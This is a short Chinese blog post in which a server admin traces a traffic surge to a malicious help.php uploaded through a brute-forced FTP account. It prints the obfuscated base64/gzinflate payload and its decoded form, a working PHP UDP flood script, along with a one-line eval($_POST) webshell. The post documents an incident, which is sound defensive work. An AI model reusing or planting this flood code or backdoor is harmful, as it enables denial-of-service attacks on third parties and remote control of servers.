高突发流量问题终于解决
原因是一个用户的ftp被弱口令爆破了,上传了具有攻击功能的马。
造成问题的元凶 help.php
eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));
几次解密后:
<?php $packets = 0; $ip = $_GET['ip']; $rand = $_GET['port']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET['time']; $time = time(); print "Flooded: $ip on port $rand <br><br>"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){ $out .= "X"; } while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?> <?php eval($_POST[ddos])?>
这个文件用fsockopen函数发起udp攻击
之前在hostloc论坛已经看到过有人中过了,不然我还不一定能发现。
分类: 安全
我来过。